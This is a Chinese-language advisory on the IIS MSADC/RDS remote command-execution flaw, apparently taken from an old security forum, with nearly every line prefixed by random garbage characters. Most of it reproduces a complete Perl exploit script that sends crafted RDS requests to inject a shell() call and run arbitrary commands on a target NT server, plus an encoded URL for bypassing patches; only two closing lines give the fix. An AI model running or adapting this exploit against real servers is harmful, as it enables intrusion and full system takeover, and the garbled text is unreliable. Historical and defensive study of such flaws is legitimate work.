IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Yckl,g_ |A5]h L 涉及程序：
gqG l >=.m Microsoft NT server
9) mJo( AL,|%yup 描述：
5TzMv3;in2 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
kO/dZ%vj Av+R~&h 详细：
~~wz05oRG
如果你没有时间读详细内容的话，就删除:
Z(.p=Wg c:\Program Files\Common Files\System\Msadc\msadcs.dll
mxDy!:@= 有关的安全问题就没有了。
*3 .
] mlIc`G SI 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
0 ,Bd,<3 & ({X9 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
ihs@
'jh 关于利用ODBC远程漏洞的描述，请参看:
b:W]L3Z8 C 5)G^ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm o5AyJuS-u$ W}JJaZR*X 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
njvmf*A?S http://www.microsoft.com/security/bulletins/MS99-025faq.asp 'B6D&xn'%& s )_sLt8? 这里不再论述。
u3c e\ [.|tD 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
W99Fb+$I E~{-RZNK /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
[Zgy,j\ \ 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
j3A+:KDn3n /I".n] k6G23p[9 #将下面这段保存为txt文件，然后: "perl -x 文件名"
KHdj#3<AR 8Ck:c45v #!perl
-OVJ ] #
}7Pd\t G] # MSADC/RDS 'usage' (aka exploit) script
( 3=. 3[ #
JWH}0+1* # by rain.forest.puppy
WYI? M #
X @r5^A[9 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
QWfwoe&;R: # beta test and find errors!
rpy`Wz/[ .6 use Socket; use Getopt::Std;
,!bOzth2>K getopts("e:vd:h:XR", \%args);
iTxn xR;Xx; print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
:'.-*Ew G }] ZZ if (!defined $args{h} && !defined $args{R}) {
g/JAr< print qq~
-+?0|>Nh Usage: msadc.pl -h <host> { -d <delay> -X -v }
qH"0?<$9 -h <host> = host you want to scan (ip or domain)
Gz ^g!N[ -d <seconds> = delay between calls, default 1 second
24|:VxO -X = dump Index Server path table, if available
ib uA~\ 5 -v = verbose
:i?Z1x1` -e = external dictionary file for step 5
U3A >#EV +.[#C5 Or a -R will resume a command session
gy~M]u{ 5M*q{kX) ~; exit;}
ZhM-F0;` o<T>G{XYB $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
9l OUE if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
'Y>!xm if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
u4fTC})4{C if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
j+W gj f $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
(?q]E$
@ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
.{)b^gE Z&J417buk if (!defined $args{R}){ $ret = &has_msadc;
~5]AXi'e~ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
ZL~}B.nqS `M"b L|[R print "Please type the NT commandline you want to run (cmd /c assumed):\n"
"eGS~- DVK . "cmd /c ";
xI_WkoI $in=<STDIN>; chomp $in;
WV?i YX! $command="cmd /c " . $in ;
c( gUH ;41s&~eR if (defined $args{R}) {&load; exit;}
mQ' ]0D S
Z p]Bs print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
t_P1a0Zu &try_btcustmr;
28Q`O$=v !A!zG)Ue< print "\nStep 2: Trying to make our own DSN...";
uA \A4 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
O(WFj mHx _Bc B@a print "\nStep 3: Trying known DSNs...";
Re, 0RM\ &known_dsn;
^!Bpev nE::9Yh8z print "\nStep 4: Trying known .mdbs...";
(} ] 74Lc &known_mdb;
"ZT=[& 2 1NJ*EzJ~? if (defined $args{e}){
Ya\G/R print "\nStep 5: Trying dictionary of DSN names...";
0fNWI &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
KGK8;Q,O 8v(Xr}q,r print "Sorry Charley...maybe next time?\n";
(;Lz `r' exit;
ux{OgF fi :UFf6T? ##############################################################################
w_A-:S
5C AGrGZ7p] sub sendraw { # ripped and modded from whisker
T /[)U
sleep($delay); # it's a DoS on the server! At least on mine...
w )DO"Z7 my ($pstr)=@_;
V<ODt% socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
o{>hOs
& die("Socket problems\n");
V O++(G) if(connect(S,pack "SnA4x8",2,80,$target)){
vP&*(WfO) select(S); $|=1;
t"RgEH @ print $pstr; my @in=<S>;
B g7?1m select(STDOUT); close(S);
<J`_Qc8C return @in;
{"4t`dM } else { die("Can't connect...\n"); }}
9chiu%20 AS4m227 ##############################################################################
a$;+-Y $Q]`+:g*} sub make_header { # make the HTTP request
Fi*6ud\n! my $msadc=<<EOT
'90B),c{ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
:!{a ey User-Agent: ACTIVEDATA
uiHlaMf Host: $ip
Y^3tk} yru Content-Length: $clen
X3 a:*1N Connection: Keep-Alive
1Rl`}7Km rKi)VVkx_ ADCClientVersion:01.06
!?Ow"i-lp Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
7"8HlOHA jzzVZ%t --!ADM!ROX!YOUR!WORLD!
}yB @? Content-Type: application/x-varg
!j7b7<wR Content-Length: $reqlen
zhYE#hv2 f_;3|i EOT
%!YsSk, ; $msadc=~s/\n/\r\n/g;
SOP=
X-6f return $msadc;}
}3)$aI_ F!a YK2 ##############################################################################
~{+J~5!;<H TD\QX2m sub make_req { # make the RDS request
Lg 9ktRKK my ($switch, $p1, $p2)=@_;
hkW"D<i i- my $req=""; my $t1, $t2, $query, $dsn;
T
0^U
]C U0)(k }Q) if ($switch==1){ # this is the btcustmr.mdb query
,QG,tf? $query="Select * from Customers where City=" . make_shell();
Z/Mp=273 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
Za=<euc7 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
y fP&Q<| QKHm OVh] elsif ($switch==2){ # this is general make table query
U76:F?MH $query="create table AZZ (B int, C varchar(10))";
o"'VI4 $dsn="$p1";}
)%#hpP M^ O7rm( elsif ($switch==3){ # this is general exploit table query
"q]v2t $query="select * from AZZ where C=" . make_shell();
Blaj07K $dsn="$p1";}
TR
]lP<m 8U\ +b?} elsif ($switch==4){ # attempt to hork file info from index server
})&0e:6 $query="select path from scope()";
ixfkMM ,W $dsn="Provider=MSIDXS;";}
5|H?L@_9 vz@QGgQ9~2 elsif ($switch==5){ # bad query
;5 IS58L $query="select";
X>*zA ?: $dsn="$p1";}
#2u-L ~n Zvr(c|Q $t1= make_unicode($query);
`=CF
| I $t2= make_unicode($dsn);
A.z~wu%( $req = "\x02\x00\x03\x00";
[~jh Ov^ $req.= "\x08\x00" . pack ("S1", length($t1));
tK8\Ib J $req.= "\x00\x00" . $t1 ;
?%;uR#4 $req.= "\x08\x00" . pack ("S1", length($t2));
Xwx;m/ $req.= "\x00\x00" . $t2 ;
kTFN.k Qx@ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
1 u&P,&T return $req;}
C ,fIwqOr3 'n> |jw) ##############################################################################
%f:'A%'Qb g:f0K2)\r: sub make_shell { # this makes the shell() statement
@&h<jM{D return "'|shell(\"$command\")|'";}
0*tEuJ7 fnB-? 8K< ##############################################################################
Uhg[#TUK %e1<N8E4 sub make_unicode { # quick little function to convert to unicode
4H\O&pSS my ($in)=@_; my $out;
S!.xmc\ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
m=y6E,
_ return $out;}
;>Z#1 ~8 >n` OLHg; ##############################################################################
,QKG$F [3/ P
EDkw sub rdo_success { # checks for RDO return success (this is kludge)
YK}(VF?& my (@in) = @_; my $base=content_start(@in);
X)nOY* if($in[$base]=~/multipart\/mixed/){
nq6]?ZJ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
lXB_HDY return 0;}
<v5toyA EH,uX{`e ##############################################################################
:ye)%UU"|: (&
~`!] sub make_dsn { # this makes a DSN for us
C*c=@VAa my @drives=("c","d","e","f");
8<_WtDg print "\nMaking DSN: ";
`5q`ibyPI foreach $drive (@drives) {
{]Lc]4J print "$drive: ";
lg!1q8 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
.|iUDp6vz "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
T-<^mX[} . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
*>\RGL;]8 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
Z;%qpsq return 0 if $2 eq "404"; # not found/doesn't exist
v $ pA Rt if($2 eq "200") {
-lAA,}&+! foreach $line (@results) {
oh:t ex< return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
5d L-v&W } return 0;}
^[ id8 O+'Pq,hn ##############################################################################
+x+H(of. E6@+w. VVO sub verify_exists {
FPcgQ
v;p my ($page)=@_;
F htf4 my @results=sendraw("GET $page HTTP/1.0\n\n");
Mq*Sp
U R return $results[0];}
} [75`pC~O c)Y I3G$ ##############################################################################
<BO|.(ys ;dB=/U>3U sub try_btcustmr {
~xHr/: my @drives=("c","d","e","f");
w$& 10 my @dirs=("winnt","winnt35","winnt351","win","windows");
Kvk ;D ]$ (Ojg~P 4;& foreach $dir (@dirs) {
8 fDnDA.e print "$dir -> "; # fun status so you can see progress
Dn d foreach $drive (@drives) {
w5&UG/z%l print "$drive: "; # ditto
q.g!WLiI $reqlen=length( make_req(1,$drive,$dir) ) - 28;
M8 g=t[\ $reqlenlen=length( "$reqlen" );
* XNvb ^< $clen= 206 + $reqlenlen + $reqlen;
G LE `ba bAW;2
NB my @results=sendraw(make_header() . make_req(1,$drive,$dir));
^U`[P@T if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
0<^K0>lm
p else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
Kh5:+n_X Ay2|@1e ##############################################################################
*1elUI2Rg Duz}e80 sub odbc_error {
> iG` my (@in)=@_; my $base;
xy| ;WB my $base = content_start(@in);
>\@ 6i
s if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
gbI0?G6XN/ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
C6/, -?%) $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Fa>Y]Y0r $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
@c{Z?>dUc# return $in[$base+4].$in[$base+5].$in[$base+6];}
^ 0TJys% print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
]cA){^.Jz print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
6aj)Fe'2 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
NIYAcLa@n8 ^K;, ,s;0 ##############################################################################
9MGA#a 73]%^kx= sub verbose {
%n- LDn my ($in)=@_;
yyiZV\ / return if !$verbose;
zlXkD~GV print STDOUT "\n$in\n";}
3z5 ,4ps /,B"H@ J ##############################################################################
X @\! \ np)-Yzr sub save {
_@d.wfM my ($p1, $p2, $p3, $p4)=@_;
!E$S&zVMQ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
*1>XlVx, print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
a?D\H5TF- close OUT;}
%r|fuwwJO `N|WCiBV. ##############################################################################
); $~/H4 S"}FsS;k<? sub load {
vK$T$SL my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
;f6G&>p open(IN,"<rds.save") || die("Couldn't open rds.save\n");
38 B\ \ @p=<IN>; close(IN);
Y$'fds4P $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
sG^b_3o)A $target= inet_aton($ip) || die("inet_aton problems");
:v&GA s6H print "Resuming to $ip ...";
Q.cxen $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
blS*H Kw if($p[1]==1) {
`;i|
%$TU $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
hz )L+ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
1{u;-pg my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
qOk 4qbl[ if (rdo_success(@results)){print "Success!\n";}
wN*e6dOF else { print "failed\n"; verbose(odbc_error(@results));}}
N5~g:([k elsif ($p[1]==3){
g\X"E>X if(run_query("$p[3]")){
x.4 5! 8Zb print "Success!\n";} else { print "failed\n"; }}
~){*X Jw6 elsif ($p[1]==4){
O >'o; 0 if(run_query($drvst . "$p[3]")){
/n:s9eq print "Success!\n"; } else { print "failed\n"; }}
> m5j.GP; exit;}
K sHovv-A q A G0t{K ##############################################################################
C \ }m_`MR t y7a&>G sub create_table {
K=!J=R; my ($in)=@_;
w8@ Ok_fj $reqlen=length( make_req(2,$in,"") ) - 28;
w V U(Du $reqlenlen=length( "$reqlen" );
*h]qh20t $clen= 206 + $reqlenlen + $reqlen;
/e\}
qq my @results=sendraw(make_header() . make_req(2,$in,""));
3` = "4 return 1 if rdo_success(@results);
g ]d@X_ &D my $temp= odbc_error(@results); verbose($temp);
I.\u2B/? return 1 if $temp=~/Table 'AZZ' already exists/;
=0 m[ return 0;}
o_={x rmIA i?mDR$X: ##############################################################################
6 !+"7r 6 nY(jN D sub known_dsn {
'6K Wob Xm # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
}*? e w my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
$`]<4I9d "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
=Ybbh`$< "banner", "banners", "ads", "ADCDemo", "ADCTest");
@$t Qz ) Oa"B;\j foreach $dSn (@dsns) {
qQVqS7 t print ".";
CZ1 tqAk- next if (!is_access("DSN=$dSn"));
Url8 Z\;aM if(create_table("DSN=$dSn")){
Te5_ T&1Z print "$dSn successful\n";
GO`X K E if(run_query("DSN=$dSn")){
7p2x }[ .\ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
9]hc{\ print "Something's borked. Use verbose next time\n";}}} print "\n";}
#H5*]"w6I c) 1m4SB@ ##############################################################################
! 4i yqCy`TK8 sub is_access {
y.mojx%?a my ($in)=@_;
W+1V&a}E $reqlen=length( make_req(5,$in,"") ) - 28;
S0"O U0`N $reqlenlen=length( "$reqlen" );
$\0j:<o $clen= 206 + $reqlenlen + $reqlen;
:X@;XEol~ my @results=sendraw(make_header() . make_req(5,$in,""));
"I_3!Yu my $temp= odbc_error(@results);
% _A1WC verbose($temp); return 1 if ($temp=~/Microsoft Access/);
nA+[[(6 return 0;}
%s<7|, E%+V\ W % ##############################################################################
V1j&>-]]9* ym1TGeFAq sub run_query {
xazh8X0P my ($in)=@_;
zwAuF%U $reqlen=length( make_req(3,$in,"") ) - 28;
\@I.K+hj$ $reqlenlen=length( "$reqlen" );
7b
Gzun& $clen= 206 + $reqlenlen + $reqlen;
Nz$O D_] my @results=sendraw(make_header() . make_req(3,$in,""));
U6_1L,W return 1 if rdo_success(@results);
r+
vtKb my $temp= odbc_error(@results); verbose($temp);
ir/ 2/
E return 0;}
~\XB' - FE) ##############################################################################
x6F \|nb ZwG+ rTW sub known_mdb {
|a'Q ^aT my @drives=("c","d","e","f","g");
J'2R-CI, my @dirs=("winnt","winnt35","winnt351","win","windows");
i?|K+ "=D my $dir, $drive, $mdb;
:B"'49Q` my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Cr(pN[,
i 0L7`TB # this is sparse, because I don't know of many
hW /*]7AM^ my @sysmdbs=( "\\catroot\\icatalog.mdb",
MRmz/ZmRM "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
4 (Y5n? / "\\system32\\certmdb.mdb",
}H^# } "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
TcRnjsY$ HqN|CwGgJ: my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
TTqOAo[-Z "\\cfusion\\cfapps\\forums\\forums_.mdb",
vtr:{ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
/:%^Vh3XF "\\cfusion\\cfapps\\security\\realm_.mdb",
n Pv2: x "\\cfusion\\cfapps\\security\\data\\realm.mdb",
/G84T,H "\\cfusion\\database\\cfexamples.mdb",
o AQ92~b "\\cfusion\\database\\cfsnippets.mdb",
XY%8yII6 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
7<N X;Fx "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
HWe.|fH: "\\cfusion\\brighttiger\\database\\cleam.mdb",
rJNf&x%6 "\\cfusion\\database\\smpolicy.mdb",
R~c(^.|r "\\cfusion\\database\cypress.mdb",
!!` zz "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
pX*mX] "\\website\\cgi-win\\dbsample.mdb",
sIELkF?. "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
|,yS>kjp "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
-F l3m ); #these are just
d$Mj5wN:q foreach $drive (@drives) {
=z@'vu$Fh foreach $dir (@dirs){
*nC<1 .JW foreach $mdb (@sysmdbs) {
mexI } print ".";
] c' owj if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
TyK;
q{ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
*X<De if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
,e >ugI_;* print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
!`aodz*PO } else { print "Something's borked. Use verbose next time\n"; }}}}}
[s7I.rdGzz Rl S=^}> foreach $drive (@drives) {
7& sCEYE b foreach $mdb (@mdbs) {
bH,Jd dc print ".";
V<d'p sb 6 if(create_table($drv . $drive . $dir . $mdb)){
ob*2V! " print "\n" . $drive . $dir . $mdb . " successful\n";
|E?%Cj^W if(run_query($drv . $drive . $dir . $mdb)){
525xm"Bs print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
-<<!eH } else { print "Something's borked. Use verbose next time\n"; }}}}
Z:n33 xh=< }
j5ui xt`znNN ##############################################################################
Pb~S{): )s^XVs.- sub hork_idx {
'.^JN@ print "\nAttempting to dump Index Server tables...\n";
' u0{h print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
RF6|zCWuI $reqlen=length( make_req(4,"","") ) - 28;
;M JM~\L0 $reqlenlen=length( "$reqlen" );
K:9.fTCs* $clen= 206 + $reqlenlen + $reqlen;
X5<L my @results=sendraw2(make_header() . make_req(4,"",""));
N;D+]_;0| if (rdo_success(@results)){
(m,O!935f my $max=@results; my $c; my %d;
vJcvyz#%1 for($c=19; $c<$max; $c++){
1w5p *U0 ; $results[$c]=~s/\x00//g;
?9PNCd3$d $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
q$HBPR4h $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
l_kH^ET $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
+oi Pj3 $d{"$1$2"}="";}
+B&FZ4' foreach $c (keys %d){ print "$c\n"; }
Rdv"Aj: } else {print "Index server doesn't seem to be installed.\n"; }}
m1`ln5(R Nd6N:1 - ##############################################################################
e%f8|3<6 o-(jSaH :; sub dsn_dict {
8)H"w$jq open(IN, "<$args{e}") || die("Can't open external dictionary\n");
2
na8G while(<IN>){
2<J82(4j $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
A &t}s
#3 next if (!is_access("DSN=$dSn"));
,$ G89jSM if(create_table("DSN=$dSn")){
^7_<rs print "$dSn successful\n";
3yZ@i<rfH if(run_query("DSN=$dSn")){
dvxH:, print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
=lffr?#&B print "Something's borked. Use verbose next time\n";}}}
E*'O)) print "\n"; close(IN);}
R.RCa$ \K)q$E <! ##############################################################################
! AMPA* +q2l,{|? sub sendraw2 { # ripped and modded from whisker
oZzE .Q1T sleep($delay); # it's a DoS on the server! At least on mine...
k,&W5zBKe my ($pstr)=@_;
&2Y>yFB
, socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
~E`l4'g? die("Socket problems\n");
GEvif4 if(connect(S,pack "SnA4x8",2,80,$target)){
BE m%x 0y print "Connected. Getting data";
]IoS-)$Z/ open(OUT,">raw.out"); my @in;
z3$PrK% select(S); $|=1; print $pstr;
XFX:) l#o while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
6Es-{u(, close(OUT); select(STDOUT); close(S); return @in;
}L E/{]A } else { die("Can't connect...\n"); }}
eH6#'M4+\ c8u&ev.U ##############################################################################
T[7- 3[w<) w.V8-9{ sub content_start { # this will take in the server headers
D)mqe -%1 my (@in)=@_; my $c;
4f/8APA for ($c=1;$c<500;$c++) {
Q"(i if($in[$c] =~/^\x0d\x0a/){
}2{%V^D)r if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
5 &VLq else { return $c+1; }}}
.+8w\>w6g return -1;} # it should never get here actually
gFW1Nm_ DJ %RJW @~! ##############################################################################
; 1o"Oij c y? EX~s4 sub funky {
T{ojla( my (@in)=@_; my $error=odbc_error(@in);
+tO V+6Uz if($error=~/ADO could not find the specified provider/){
;,F}! R print "\nServer returned an ADO miscofiguration message\nAborting.\n";
0{jRXa -( exit;}
#kxg|G[Ol if($error=~/A Handler is required/){
Uyv FR @ print "\nServer has custom handler filters (they most likely are patched)\n";
w1.KRe{M exit;}
W;o\}irep if($error=~/specified Handler has denied Access/){
~xA' -N/ print "\nServer has custom handler filters (they most likely are patched)\n";
\BS^="AcpP exit;}}
T}g;kppC p;C`n )7P7 ##############################################################################
pfZxG.l |KkVt]ZQe9 sub has_msadc {
q 3
9 RD my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
]xFd_OHdb my $base=content_start(@results);
]ErAa"? return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
\.}* s] 6 return 0;}
F*(<`V yA6"8fr ########################
"&>$/b$ ;Qw>&24h[ {@({po 解决方案：
I V!&jL 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
2pZ|+!xc+ 2、移除web 目录: /msadc
